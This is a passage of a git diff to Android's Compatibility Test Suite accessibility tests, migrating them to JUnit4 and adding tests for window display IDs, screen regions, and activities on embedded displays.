}
@SmallTest
+ @Test
public void testDefaultValues() {
AccessibilityWindowInfo w = AccessibilityWindowInfo.obtain();
assertEquals(0, w.getChildCount());
@@ -60,6 +84,7 @@
assertEquals(-1, w.getLayer());
assertEquals(-1, w.getId());
assertEquals(0, w.describeContents());
+ assertEquals(Display.INVALID_DISPLAY, w.getDisplayId());
assertNull(w.getParent());
assertNull(w.getRoot());
assertFalse(w.isAccessibilityFocused());
@@ -71,6 +96,10 @@
w.getBoundsInScreen(rect);
assertTrue(rect.isEmpty());
+ Region region = new Region();
+ w.getRegionInScreen(region);
+ assertTrue(region.isEmpty());
+
try {
w.getChild(0);
fail("Expected IndexOutOfBoundsException");
@@ -80,6 +109,7 @@
}
@SmallTest
+ @Test
public void testRecycle() {
AccessibilityWindowInfo w = AccessibilityWindowInfo.obtain();
w.recycle();
@@ -99,11 +129,17 @@
equality &= w1.isActive() == w2.isActive();
equality &= w1.getType() == w2.getType();
equality &= w1.getLayer() == w2.getLayer();
+ equality &= w1.getDisplayId() == w2.getDisplayId();
Rect bounds1 = new Rect();
Rect bounds2 = new Rect();
w1.getBoundsInScreen(bounds1);
w2.getBoundsInScreen(bounds2);
equality &= bounds1.equals(bounds2);
+ Region regions1 = new Region();
+ Region regions2 = new Region();
+ w1.getRegionInScreen(regions1);
+ w2.getRegionInScreen(regions2);
+ equality &= regions1.equals(regions2);
return equality;
}
}
diff --git a/tests/accessibility/src/android/view/accessibility/cts/CaptioningManagerTest.java b/tests/accessibility/src/android/view/accessibility/cts/CaptioningManagerTest.java
index d0db868..c3054ef 100644
--- a/tests/accessibility/src/android/view/accessibility/cts/CaptioningManagerTest.java
+++ b/tests/accessibility/src/android/view/accessibility/cts/CaptioningManagerTest.java
@@ -16,6 +16,12 @@
package android.view.accessibility.cts;
+import static androidx.test.InstrumentationRegistry.getInstrumentation;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
import static org.mockito.Matchers.anyFloat;
import static org.mockito.Matchers.anyObject;
import static org.mockito.Mockito.mock;
@@ -23,13 +29,19 @@
import static org.mockito.Mockito.verify;
import static org.mockito.Mockito.verifyZeroInteractions;
+import android.accessibility.cts.common.AccessibilityDumpOnFailureRule;
import android.app.UiAutomation;
import android.os.ParcelFileDescriptor;
-import android.test.InstrumentationTestCase;
import android.view.accessibility.CaptioningManager;
import android.view.accessibility.CaptioningManager.CaptionStyle;
import android.view.accessibility.CaptioningManager.CaptioningChangeListener;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
import org.mockito.Mockito;
import java.io.FileInputStream;
@@ -40,15 +52,19 @@
/**
* Tests whether the CaptioningManager APIs are functional.
*/
-public class CaptioningManagerTest extends InstrumentationTestCase {
+@RunWith(AndroidJUnit4.class)
+public class CaptioningManagerTest {
+
+ @Rule
+ public final AccessibilityDumpOnFailureRule mDumpOnFailureRule =
+ new AccessibilityDumpOnFailureRule();
+
private static final int LISTENER_TIMEOUT = 3000;
private CaptioningManager mManager;
private UiAutomation mUiAutomation;
- @Override
- protected void setUp() throws Exception {
- super.setUp();
-
+ @Before
+ public void setUp() throws Exception {
mManager = getInstrumentation().getTargetContext().getSystemService(
CaptioningManager.class);
@@ -60,6 +76,7 @@
/**
* Tests whether a client can observe changes in caption properties.
*/
+ @Test
public void testChangeListener() {
putSecureSetting("accessibility_captioning_enabled","0");
putSecureSetting("accessibility_captioning_preset", "1");
@@ -97,16 +114,18 @@
}
}
+ @Test
public void testProperties() {
putSecureSetting("accessibility_captioning_font_scale", "2.0");
putSecureSetting("accessibility_captioning_locale", "ja_JP");
putSecureSetting("accessibility_captioning_enabled", "1");
- assertEquals("Test runner set font scale to 2.0", 2.0f, mManager.getFontScale());
+ assertEquals("Test runner set font scale to 2.0", 2.0f, mManager.getFontScale(), 0f);
assertEquals("Test runner set locale to Japanese", Locale.JAPAN, mManager.getLocale());
assertEquals("Test runner set enabled to true", true, mManager.isEnabled());
}
+ @Test
public void testUserStyle() {
putSecureSetting("accessibility_captioning_preset", "-1");
putSecureSetting("accessibility_captioning_foreground_color", "511");
diff --git a/tests/accessibility/src/android/view/accessibility/cts/ServiceControlUtils.java b/tests/accessibility/src/android/view/accessibility/cts/ServiceControlUtils.java
deleted file mode 100644
index 9b1fae1..0000000
--- a/tests/accessibility/src/android/view/accessibility/cts/ServiceControlUtils.java
+++ /dev/null
@@ -1,62 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.view.accessibility.cts;
-
-import static com.android.compatibility.common.util.TestUtils.waitOn;
-
-import android.content.ContentResolver;
-import android.content.Context;
-import android.provider.Settings;
-import android.view.accessibility.AccessibilityManager;
-
-import java.util.function.BooleanSupplier;
-
-/**
- * Utility methods for enabling and disabling the services used in this package
- */
-public class ServiceControlUtils {
-
- public static String getEnabledServices(ContentResolver cr) {
- return Settings.Secure.getString(cr, Settings.Secure.ENABLED_ACCESSIBILITY_SERVICES);
- }
-
- /**
- * Wait for a specified condition that will change with a services state change
- *
- * @param context A valid context
- * @param condition The condition to check
- * @param timeoutMs The timeout in millis
- * @param conditionName The name to include in the assertion. If null, will be given a default.
- */
- public static void waitForConditionWithServiceStateChange(Context context,
- BooleanSupplier condition, long timeoutMs, String conditionName) {
- AccessibilityManager manager =
- (AccessibilityManager) context.getSystemService(Context.ACCESSIBILITY_SERVICE);
- Object lock = new Object();
- AccessibilityManager.AccessibilityServicesStateChangeListener listener = (m) -> {
- synchronized (lock) {
- lock.notifyAll();
- }
- };
- manager.addAccessibilityServicesStateChangeListener(listener, null);
- try {
- waitOn(lock, condition, timeoutMs, conditionName);
- } finally {
- manager.removeAccessibilityServicesStateChangeListener(listener);
- }
- }
-}
diff --git a/tests/accessibility/src/android/view/accessibility/cts/SpeakingAccessibilityService.java b/tests/accessibility/src/android/view/accessibility/cts/SpeakingAccessibilityService.java
index d05232a..8a18f58 100644
--- a/tests/accessibility/src/android/view/accessibility/cts/SpeakingAccessibilityService.java
+++ b/tests/accessibility/src/android/view/accessibility/cts/SpeakingAccessibilityService.java
@@ -17,7 +17,6 @@
package android.view.accessibility.cts;
import android.accessibility.cts.common.InstrumentedAccessibilityService;
-import android.app.Instrumentation;
import android.content.ComponentName;
/**
@@ -27,9 +26,4 @@
public static final ComponentName COMPONENT_NAME = new ComponentName(
"android.view.accessibility.cts",
"android.view.accessibility.cts.SpeakingAccessibilityService");
-
- public static SpeakingAccessibilityService enableSelf(Instrumentation instrumentation) {
- return InstrumentedAccessibilityService.enableService(
- instrumentation, SpeakingAccessibilityService.class);
- }
}
diff --git a/tests/accessibility/src/android/view/accessibility/cts/SpeakingAndVibratingAccessibilityService.java b/tests/accessibility/src/android/view/accessibility/cts/SpeakingAndVibratingAccessibilityService.java
index cb8126d..c7c9844 100644
--- a/tests/accessibility/src/android/view/accessibility/cts/SpeakingAndVibratingAccessibilityService.java
+++ b/tests/accessibility/src/android/view/accessibility/cts/SpeakingAndVibratingAccessibilityService.java
@@ -17,15 +17,9 @@
package android.view.accessibility.cts;
import android.accessibility.cts.common.InstrumentedAccessibilityService;
-import android.app.Instrumentation;
/**
* Stub accessibility service that reports itself as providing multiple feedback types.
*/
public class SpeakingAndVibratingAccessibilityService extends InstrumentedAccessibilityService {
- public static SpeakingAndVibratingAccessibilityService enableSelf(
- Instrumentation instrumentation) {
- return InstrumentedAccessibilityService.enableService(instrumentation,
- SpeakingAndVibratingAccessibilityService.class);
- }
}
diff --git a/tests/accessibility/src/android/view/accessibility/cts/VibratingAccessibilityService.java b/tests/accessibility/src/android/view/accessibility/cts/VibratingAccessibilityService.java
index 6b866aa..bec74e3 100644
--- a/tests/accessibility/src/android/view/accessibility/cts/VibratingAccessibilityService.java
+++ b/tests/accessibility/src/android/view/accessibility/cts/VibratingAccessibilityService.java
@@ -17,14 +17,9 @@
package android.view.accessibility.cts;
import android.accessibility.cts.common.InstrumentedAccessibilityService;
-import android.app.Instrumentation;
/**
* Stub accessibility service that reports itself as providing haptic feedback.
*/
public class VibratingAccessibilityService extends InstrumentedAccessibilityService {
- public static VibratingAccessibilityService enableSelf(Instrumentation instrumentation) {
- return InstrumentedAccessibilityService.enableService(instrumentation,
- VibratingAccessibilityService.class);
- }
}
diff --git a/tests/accessibilityservice/Android.bp b/tests/accessibilityservice/Android.bp
index b37f5cb..d96b545 100644
--- a/tests/accessibilityservice/Android.bp
+++ b/tests/accessibilityservice/Android.bp
@@ -19,6 +19,7 @@
"ctstestrunner-axt",
"hamcrest-library",
"mockito-target-minus-junit4",
+ "compatibility-device-util-axt",
"platform-test-annotations",
"CtsAccessibilityCommon",
],
diff --git a/tests/accessibilityservice/AndroidManifest.xml b/tests/accessibilityservice/AndroidManifest.xml
index fc0b2e6..be1799a 100644
--- a/tests/accessibilityservice/AndroidManifest.xml
+++ b/tests/accessibilityservice/AndroidManifest.xml
@@ -20,10 +20,12 @@
android:targetSandboxVersion="2">
<uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
+ <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.WRITE_SECURE_SETTINGS" />
<uses-permission android:name="android.permission.USE_FINGERPRINT" />
- <application android:theme="@android:style/Theme.Holo.NoActionBar">
+ <application android:theme="@android:style/Theme.Holo.NoActionBar"
+ android:requestLegacyExternalStorage="true">
<uses-library android:name="android.test.runner" />
@@ -67,6 +69,17 @@
android:label="@string/accessibility_soft_keyboard_modes_activity"
android:name=".AccessibilitySoftKeyboardModesTest$SoftKeyboardModesActivity" />
+ <activity
+ android:label="@string/accessibility_embedded_display_test_parent_activity"
+ android:name=".AccessibilityEmbeddedDisplayTest$EmbeddedDisplayParentActivity"
+ android:theme="@android:style/Theme.Dialog"
+ android:screenOrientation="locked" />
+
+ <activity
+ android:label="@string/accessibility_embedded_display_test_activity"
+ android:name=".AccessibilityEmbeddedDisplayTest$EmbeddedDisplayActivity"
+ android:screenOrientation="locked" />
+
<service
android:name=".StubGestureAccessibilityService"
android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE">
@@ -93,6 +106,17 @@
</service>
<service
+ android:name=".TouchExplorationStubAccessibilityService"
+ android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE">
+ <intent-filter>
+ <action android:name="android.accessibilityservice.AccessibilityService" />
+ <category android:name="android.accessibilityservice.category.FEEDBACK_GENERIC" />
+ </intent-filter>
+ <meta-data
+ android:name="android.accessibilityservice"
+ android:resource="@xml/stub_touch_exploration_a11y_service" />
+ </service>
+ <service
android:name="android.accessibility.cts.common.InstrumentedAccessibilityService"
android:label="@string/title_soft_keyboard_modes_accessibility_service"
android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE">
diff --git a/tests/accessibilityservice/AndroidTest.xml b/tests/accessibilityservice/AndroidTest.xml
index eb75538..b0e873c 100644
--- a/tests/accessibilityservice/AndroidTest.xml
+++ b/tests/accessibilityservice/AndroidTest.xml
@@ -34,4 +34,8 @@
<option name="package" value="android.accessibilityservice.cts" />
<option name="runtime-hint" value="2m12s" />
</test>
+ <metrics_collector class="com.android.tradefed.device.metric.FilePullerLogCollector">
+ <option name="directory-keys" value="/sdcard/android.accessibilityservice.cts" />
+ <option name="collect-on-run-ended-only" value="true" />
+ </metrics_collector>
</configuration>
diff --git a/tests/accessibilityservice/OWNERS b/tests/accessibilityservice/OWNERS
index d225f2c..e54f581 100644
--- a/tests/accessibilityservice/OWNERS
+++ b/tests/accessibilityservice/OWNERS
@@ -1,2 +1,3 @@
# Bug component: 44214
-pweaver@google.com
\ No newline at end of file
+pweaver@google.com
+rhedjao@google.com
diff --git a/tests/accessibilityservice/res/layout/accessibility_embedded_display_test.xml b/tests/accessibilityservice/res/layout/accessibility_embedded_display_test.xml
new file mode 100644
index 0000000..666bfbe
--- /dev/null
+++ b/tests/accessibilityservice/res/layout/accessibility_embedded_display_test.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ ~ Copyright (C) 2019 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License
+ -->
+
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content"
+ android:gravity="center"
+ android:orientation="vertical">
+
+ <Button
+ android:id="@+id/button"
+ android:text="@string/button_title"
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content"/>
+
+</LinearLayout>
diff --git a/tests/accessibilityservice/res/layout/accessibility_view_tree_reporting_test.xml b/tests/accessibilityservice/res/layout/accessibility_view_tree_reporting_test.xml
index 0dbd62a..e05c259 100644
--- a/tests/accessibilityservice/res/layout/accessibility_view_tree_reporting_test.xml
+++ b/tests/accessibilityservice/res/layout/accessibility_view_tree_reporting_test.xml
@@ -88,6 +88,14 @@
android:text="@string/secondButton"
android:textSize="10dip" />
+ <Button
+ android:id="@+id/hiddenButton"
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content"
+ android:text="@string/secondButton"
+ android:textSize="10dip"
+ android:visibility="gone" />
+
</LinearLayout>
</FrameLayout>
diff --git a/tests/accessibilityservice/res/values/strings.xml b/tests/accessibilityservice/res/values/strings.xml
index ad5d3fd..4dd1981 100644
--- a/tests/accessibilityservice/res/values/strings.xml
+++ b/tests/accessibilityservice/res/values/strings.xml
@@ -139,6 +139,8 @@
<string name="a_b">A B</string>
+ <string name="testContentDescription">testContentDescription</string>
+
<string name="german_text_with_strong_s">ß</string>
<string name="android_wiki_search">Android is a Linux-based</string>
@@ -147,7 +149,9 @@
<string name="stub_gesture_dispatch_a11y_service_description">com.android.accessibilityservice.cts.StubGestureAccessibilityService</string>
- <string name="stub_gesture_detector_a11y_service_description">com.android.accessibilityservice.cts.StubService</string>
+ <string name="stub_gesture_detector_a11y_service_description">com.android.accessibilityservice.cts.GestureDetectionStubAccessibilityService</string>
+
+ <string name="stub_touch_exploration_a11y_service_description">com.android.accessibilityservice.cts.TouchExplorationStubAccessibilityService</string>
<string name="stub_fprint_a11y_service_description">com.android.accessibilityservice.cts.StubFingerprintGestureAccessibilityService</string>
@@ -170,4 +174,12 @@
<!-- Description of the accessibility service -->
<string name="soft_keyboard_modes_accessibility_service_description">This Accessibility Service was installed for testing purposes. It can be uninstalled by going to Settings > Apps > android.view.accessibilityservice.services and selecting \"Uninstall\".</string>
+ <!-- AccessibilityEmbeddedDisplayTest -->
+
+ <!-- String title of accessibility embedded display test parent window activity -->
+ <string name="accessibility_embedded_display_test_parent_activity">Embedded display test parent</string>
+
+ <!-- String title of accessibility embedded display test activity -->
+ <string name="accessibility_embedded_display_test_activity">Embedded display test</string>
+
</resources>
diff --git a/tests/accessibilityservice/res/xml/stub_touch_exploration_a11y_service.xml b/tests/accessibilityservice/res/xml/stub_touch_exploration_a11y_service.xml
new file mode 100644
index 0000000..33c5ec8
--- /dev/null
+++ b/tests/accessibilityservice/res/xml/stub_touch_exploration_a11y_service.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<!-- Copyright (C) 2019 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<accessibility-service
+ xmlns:android="http://schemas.android.com/apk/res/android"
+ android:description="@string/stub_touch_exploration_a11y_service_description"
+ android:accessibilityEventTypes="typeAllMask"
+ android:accessibilityFeedbackType="feedbackGeneric"
+ android:accessibilityFlags="flagDefault|flagRequestTouchExplorationMode|flagReportViewIds"
+ android:canRequestTouchExplorationMode="true"
+ android:canRetrieveWindowContent="true"
+ android:canPerformGestures="true" />
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityButtonTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityButtonTest.java
index 84fb0ef..39c358a 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityButtonTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityButtonTest.java
@@ -14,18 +14,25 @@
package android.accessibilityservice.cts;
-import static android.accessibilityservice.cts.utils.CtsTestUtils.runIfNotNull;
+import static android.accessibilityservice.AccessibilityServiceInfo.FLAG_REQUEST_ACCESSIBILITY_BUTTON;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+
+import android.accessibility.cts.common.AccessibilityDumpOnFailureRule;
+import android.accessibility.cts.common.InstrumentedAccessibilityServiceTestRule;
import android.accessibilityservice.AccessibilityButtonController;
-import android.app.Instrumentation;
+import android.accessibilityservice.AccessibilityServiceInfo;
+import android.os.Build;
import android.platform.test.annotations.AppModeFull;
+import android.view.Display;
-import androidx.test.InstrumentationRegistry;
import androidx.test.runner.AndroidJUnit4;
-import org.junit.After;
import org.junit.Before;
+import org.junit.Rule;
import org.junit.Test;
+import org.junit.rules.RuleChain;
import org.junit.runner.RunWith;
/**
@@ -37,6 +44,17 @@
@RunWith(AndroidJUnit4.class)
public class AccessibilityButtonTest {
+ private InstrumentedAccessibilityServiceTestRule<StubAccessibilityButtonService> mServiceRule =
+ new InstrumentedAccessibilityServiceTestRule<>(StubAccessibilityButtonService.class);
+
+ private AccessibilityDumpOnFailureRule mDumpOnFailureRule =
+ new AccessibilityDumpOnFailureRule();
+
+ @Rule
+ public final RuleChain mRuleChain = RuleChain
+ .outerRule(mServiceRule)
+ .around(mDumpOnFailureRule);
+
private StubAccessibilityButtonService mService;
private AccessibilityButtonController mButtonController;
private AccessibilityButtonController.AccessibilityButtonCallback mStubCallback =
@@ -55,20 +73,38 @@
@Before
public void setUp() {
- Instrumentation instrumentation = InstrumentationRegistry.getInstrumentation();
- mService = StubAccessibilityButtonService.enableSelf(instrumentation);
+ mService = mServiceRule.getService();
mButtonController = mService.getAccessibilityButtonController();
}
- @After
- public void tearDown() {
- runIfNotNull(mService, service -> service.runOnServiceSync(service::disableSelf));
- }
-
@Test
@AppModeFull
public void testCallbackRegistrationUnregistration_serviceDoesNotCrash() {
mButtonController.registerAccessibilityButtonCallback(mStubCallback);
mButtonController.unregisterAccessibilityButtonCallback(mStubCallback);
}
+
+ @Test
+ @AppModeFull
+ public void testGetAccessibilityButtonControllerByDisplayId_NotReturnNull() {
+ final AccessibilityButtonController buttonController =
+ mService.getAccessibilityButtonController(
+ Display.DEFAULT_DISPLAY);
+ assertNotNull(buttonController);
+ }
+
+ @Test
+ @AppModeFull
+ public void testUpdateRequestAccessibilityButtonFlag_targetSdkGreaterThanQ_ignoresUpdate() {
+ final AccessibilityServiceInfo serviceInfo = mService.getServiceInfo();
+ assertTrue((serviceInfo.flags & FLAG_REQUEST_ACCESSIBILITY_BUTTON)
+ == FLAG_REQUEST_ACCESSIBILITY_BUTTON);
+ assertTrue(mService.getApplicationInfo().targetSdkVersion > Build.VERSION_CODES.Q);
+
+ serviceInfo.flags &= ~FLAG_REQUEST_ACCESSIBILITY_BUTTON;
+ mService.setServiceInfo(serviceInfo);
+ assertTrue("Update flagRequestAccessibilityButton should fail",
+ (mService.getServiceInfo().flags & FLAG_REQUEST_ACCESSIBILITY_BUTTON)
+ == FLAG_REQUEST_ACCESSIBILITY_BUTTON);
+ }
}
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityEmbeddedDisplayTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityEmbeddedDisplayTest.java
new file mode 100644
index 0000000..721028a
--- /dev/null
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityEmbeddedDisplayTest.java
@@ -0,0 +1,277 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.accessibilityservice.cts;
+
+import static android.accessibilityservice.cts.utils.AccessibilityEventFilterUtils.filterWindowsChangeTypesAndWindowTitle;
+import static android.accessibilityservice.cts.utils.ActivityLaunchUtils.findWindowByTitle;
+import static android.accessibilityservice.cts.utils.ActivityLaunchUtils.launchActivityAndWaitForItToBeOnscreen;
+import static android.accessibilityservice.cts.utils.AsyncUtils.DEFAULT_TIMEOUT_MS;
+import static android.content.pm.PackageManager.FEATURE_ACTIVITIES_ON_SECONDARY_DISPLAYS;
+import static android.view.accessibility.AccessibilityEvent.WINDOWS_CHANGE_ADDED;
+import static android.view.accessibility.AccessibilityEvent.WINDOWS_CHANGE_BOUNDS;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeTrue;
+
+import android.accessibility.cts.common.AccessibilityDumpOnFailureRule;
+import android.accessibilityservice.AccessibilityServiceInfo;
+import android.accessibilityservice.cts.activities.AccessibilityTestActivity;
+import android.app.Activity;
+import android.app.ActivityView;
+import android.app.Instrumentation;
+import android.app.UiAutomation;
+import android.content.Context;
+import android.content.Intent;
+import android.graphics.Rect;
+import android.os.Bundle;
+import android.platform.test.annotations.Presubmit;
+import android.view.accessibility.AccessibilityNodeInfo;
+import android.view.accessibility.AccessibilityWindowInfo;
+
+import androidx.test.platform.app.InstrumentationRegistry;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.compatibility.common.util.SystemUtil;
+
+import org.junit.After;
+import org.junit.AfterClass;
+import org.junit.Before;
+import org.junit.BeforeClass;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.rules.RuleChain;
+import org.junit.runner.RunWith;
+
+/**
+ * Tests that AccessibilityWindowInfos and AccessibilityNodeInfos from a window on an embedded
+ * display that is re-parented to another window are properly populated.
+ */
+@RunWith(AndroidJUnit4.class)
+public class AccessibilityEmbeddedDisplayTest {
+ private static Instrumentation sInstrumentation;
+ private static UiAutomation sUiAutomation;
+
+ private EmbeddedDisplayParentActivity mActivity;
+ private EmbeddedDisplayActivity mEmbeddedDisplayActivity;
+ private ActivityView mActivityView;
+ private Context mContext;
+
+ private String mParentActivityTitle;
+ private String mActivityTitle;
+
+ private final ActivityTestRule<EmbeddedDisplayParentActivity> mActivityRule =
+ new ActivityTestRule<>(EmbeddedDisplayParentActivity.class, false, false);
+
+ private final AccessibilityDumpOnFailureRule mDumpOnFailureRule =
+ new AccessibilityDumpOnFailureRule();
+
+ @Rule
+ public final RuleChain mRuleChain = RuleChain
+ .outerRule(mActivityRule)
+ .around(mDumpOnFailureRule);
+
+ @BeforeClass
+ public static void oneTimeSetup() {
+ sInstrumentation = InstrumentationRegistry.getInstrumentation();
+ sUiAutomation = sInstrumentation.getUiAutomation();
+ }
+
+ @AfterClass
+ public static void postTestTearDown() {
+ sUiAutomation.destroy();
+ }
+
+ @Before
+ public void setUp() throws Exception {
+ mContext = sInstrumentation.getContext();
+ assumeTrue(supportsMultiDisplay());
+
+ mParentActivityTitle = mContext.getString(
+ R.string.accessibility_embedded_display_test_parent_activity);
+ mActivityTitle = mContext.getString(R.string.accessibility_embedded_display_test_activity);
+
+ SystemUtil.runWithShellPermissionIdentity(() -> {
+ mActivity = launchActivityAndWaitForItToBeOnscreen(
+ sInstrumentation, sUiAutomation, mActivityRule);
+ mActivityView = mActivity.getActivityView();
+ });
+
+ launchActivityInActivityView();
+ }
+
+ @After
+ public void tearDown() throws Exception {
+ mEmbeddedDisplayActivity = null;
+ if (mActivityView != null) {
+ SystemUtil.runWithShellPermissionIdentity(() -> mActivityView.release());
+ }
+ }
+
+ @Presubmit
+ @Test
+ public void testA11yWindowInfoHasCorrectLayer() {
+ final AccessibilityWindowInfo parentActivityWindow =
+ findWindowByTitle(sUiAutomation, mParentActivityTitle);
+ final AccessibilityWindowInfo activityWindow =
+ findWindowByTitle(sUiAutomation, mActivityTitle);
+
+ assertNotNull(parentActivityWindow);
+ assertNotNull(activityWindow);
+ assertTrue(parentActivityWindow.getLayer() > activityWindow.getLayer());
+ }
+
+ @Presubmit
+ @Test
+ public void testA11yWindowInfoAndA11yNodeInfoHasCorrectBoundsInScreen() {
+ final AccessibilityWindowInfo parentActivityWindow =
+ findWindowByTitle(sUiAutomation, mParentActivityTitle);
+ final AccessibilityWindowInfo activityWindow =
+ findWindowByTitle(sUiAutomation, mActivityTitle);
+ final AccessibilityNodeInfo button = findWindowByTitle(sUiAutomation,
+ mActivityTitle).getRoot().findAccessibilityNodeInfosByViewId(
+ "android.accessibilityservice.cts:id/button").get(0);
+
+ assertNotNull(parentActivityWindow);
+ assertNotNull(activityWindow);
+ assertNotNull(button);
+
+ final Rect parentActivityBound = new Rect();
+ final Rect activityBound = new Rect();
+ final Rect buttonBound = new Rect();
+ parentActivityWindow.getBoundsInScreen(parentActivityBound);
+ activityWindow.getBoundsInScreen(activityBound);
+ button.getBoundsInScreen(buttonBound);
+
+ assertTrue("parentActivityBound" + parentActivityBound.toShortString()
+ + " doesn't contain activityBound" + activityBound.toShortString(),
+ parentActivityBound.contains(activityBound));
+ assertTrue("parentActivityBound" + parentActivityBound.toShortString()
+ + " doesn't contain buttonBound" + buttonBound.toShortString(),
+ parentActivityBound.contains(buttonBound));
+ }
+
+ @Test
+ public void testA11yWindowNotifyWhenResizeWindowInActivityView() throws Exception {
+ testA11yWindowNotifyAfterResizeWindowInActivityView();
+ }
+
+ @Test
+ public void testA11yWindowNotifyWhenResizeWindowInActivityViewAfterServiceOffAndOn()
+ throws Exception {
+ // Clears window access flag to disable the A11y window tracking.
+ AccessibilityServiceInfo info = sUiAutomation.getServiceInfo();
+ info.flags &= ~AccessibilityServiceInfo.FLAG_RETRIEVE_INTERACTIVE_WINDOWS;
+ sUiAutomation.setServiceInfo(info);
+
+ // Only needs to make sure the windows cannot be accessed for UiAutomation service
+ // because other A11y services had been disabled when calling the method, getUiAutomation().
+ assertTrue(sUiAutomation.getWindows().isEmpty());
+
+ // Sets window access flag to enable the A11y window tracking.
+ sUiAutomation.executeAndWaitForEvent(
+ () -> sInstrumentation.runOnMainSync(() -> {
+ // Make sure we get window events, so we'll know when the window appears
+ info.flags |= AccessibilityServiceInfo.FLAG_RETRIEVE_INTERACTIVE_WINDOWS;
+ sUiAutomation.setServiceInfo(info);
+ }),
+ filterWindowsChangeTypesAndWindowTitle(sUiAutomation, WINDOWS_CHANGE_ADDED,
+ mActivityTitle),
+ DEFAULT_TIMEOUT_MS);
+
+ testA11yWindowNotifyAfterResizeWindowInActivityView();
+ }
+
+ private void testA11yWindowNotifyAfterResizeWindowInActivityView() throws Exception {
+ final AccessibilityWindowInfo oldActivityWindow =
+ findWindowByTitle(sUiAutomation, mActivityTitle);
+ final Rect activityBound = new Rect();
+ oldActivityWindow.getBoundsInScreen(activityBound);
+
+ final int width = activityBound.width() / 2;
+ final int height = activityBound.height() / 2;
+ sUiAutomation.executeAndWaitForEvent(() -> sInstrumentation.runOnMainSync(
+ () -> mEmbeddedDisplayActivity.getWindow().setLayout(width, height)),
+ filterWindowsChangeTypesAndWindowTitle(sUiAutomation, WINDOWS_CHANGE_BOUNDS,
+ mActivityTitle),
+ DEFAULT_TIMEOUT_MS);
+
+ final AccessibilityWindowInfo newActivityWindow =
+ findWindowByTitle(sUiAutomation, mActivityTitle);
+ newActivityWindow.getBoundsInScreen(activityBound);
+
+ assertEquals(height, activityBound.height());
+ assertEquals(width, activityBound.width());
+ }
+
+ private void launchActivityInActivityView() throws Exception {
+ final Instrumentation.ActivityMonitor am = sInstrumentation.addMonitor(
+ EmbeddedDisplayActivity.class.getName(), null, false);
+ final Rect bounds = new Rect();
+ sUiAutomation.executeAndWaitForEvent(
+ () -> sInstrumentation.runOnMainSync(() -> {
+ Intent intent = new Intent(mContext, EmbeddedDisplayActivity.class);
+ intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ SystemUtil.runWithShellPermissionIdentity(
+ () -> mActivityView.startActivity(intent));
+ }),
+ (event) -> {
+ // Ensure the target activity is shown
+ final AccessibilityWindowInfo window =
+ findWindowByTitle(sUiAutomation, mActivityTitle);
+ if (window == null) {
+ return false;
+ }
+ window.getBoundsInScreen(bounds);
+ return !bounds.isEmpty();
+ }, DEFAULT_TIMEOUT_MS);
